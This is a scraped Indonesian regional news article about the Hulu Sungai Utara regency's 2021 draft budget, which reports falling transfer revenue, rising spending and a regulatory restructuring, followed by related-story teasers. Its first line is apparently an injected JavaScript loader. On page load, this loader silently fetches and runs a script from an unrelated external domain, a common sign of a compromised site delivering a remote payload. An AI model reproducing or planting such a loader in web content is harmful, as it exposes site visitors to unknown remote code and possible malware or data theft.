(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK menyebutkan Rancangan Anggaran Pendapatan Belanja Daerah (RAPBD) tahun anggaran 2021 Kabupaten HSU mengalami penurunan sebesar 15,05 persen. Penurunan tersebut terdapat pada Pendapatan Dana Bagi Hasil (PDHP) dan Dana Alokasi Umum (DAU) tahun anggaran 2021 yang telah ditetapkan oleh pemerintah pusat.
Hal tersebut seperti disampaikan Bupati HSU dalam penyampaian penjelasan kepala daerah atas diajukannya Raperda APBD tahun anggaran 2021 bersama fraksi-fraksi DPRD Kabupaten HSU dalam rapat paripurna, Selasa (3/11/2020) sore.
Dalam penjelasannya Bupati Wahid penyampaiannya pada Raperda APBD tahun 2021 pendapatan daerah sebesar Rp 952.528.355.410, jika dibandingkan dengan anggaran pendapatan dalam APBD tahun 2020, terjadi penurunan sebesar 15,05 persen.
“Penurunan ini terdapat pada kelompok pendapatan transfer, yakni menurunnya Pendapatan Dana Bagi Hasil (PDHP) dan Dana Alokasi Umum (DAU) tahun anggaran 2021 yang telah ditetapkan oleh pemerintah pusat,” jelasnya.
Menurut Bupati Wahid besarnya angka defisit anggaran pada RAPBD tahun anggaran 2020, menurunnya pendapatan dari dana bagi hasil (DBH) dan Dana Alokasi Umum (DAU) tahun anggaran 2021, sehingga tidak menutup kemungkinan pada RAPBD ini masih akan dilakukan rasionalisasi terhadap beberapa jenis belanja pada SKPD-SKPD, guna lebih memperkecil angka defisit dimaksud.
Sementara pada belanja daerah, tambah Wahid, diproyeksikan sebesar Rp 1.426. 973.635.813, jika dibandingkan dengan anggaran pendapatan dalam APBD tahun 2020, ada kenaikan sebesar 17,19 persen.
“Pada sisi pembiayaan daerah, untuk penerimaan direncanakan sebesar Rp. 484.445.280.403, dan untuk pengeluaran direncanakan sebesar Rp 10.000.000.000 yang akan digunakan sebagai dana cadangan,” imbuhnya.
Selain meningkatkan angka defisit RAPBD tahun 2021 akibat menurunnya pendapatan DBH dan DAU, Bupati Wahid menyebut struktur APBD tahun anggaran 2021 juga mengalami perubahan yang cukup signifikan. Diantaranya di dalam struktur pendapatan daerah, dana pertimbangan menjadi pendapatan transfer sampai dengan struktur belanja daerah.
“Hal ini, didasari pada pemberlakuan Peraturan Kemendagri Nomor 64 tahun 2020 tentang pedoman penyusunan APBD tahun anggaran 2021,” pungkas Bupati Wahid.
Selain penyampaian tentang Raperda diatas, dalam kesempatan tersebut Bupati Wahid juga menyampaikan pendapat akhir kepala daerah atas pengambilan keputusan DPRD terhadap Raperda pedoman penerapan disiplin dan penegakkan hukum protokol kesehatan. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
This website uses cookies.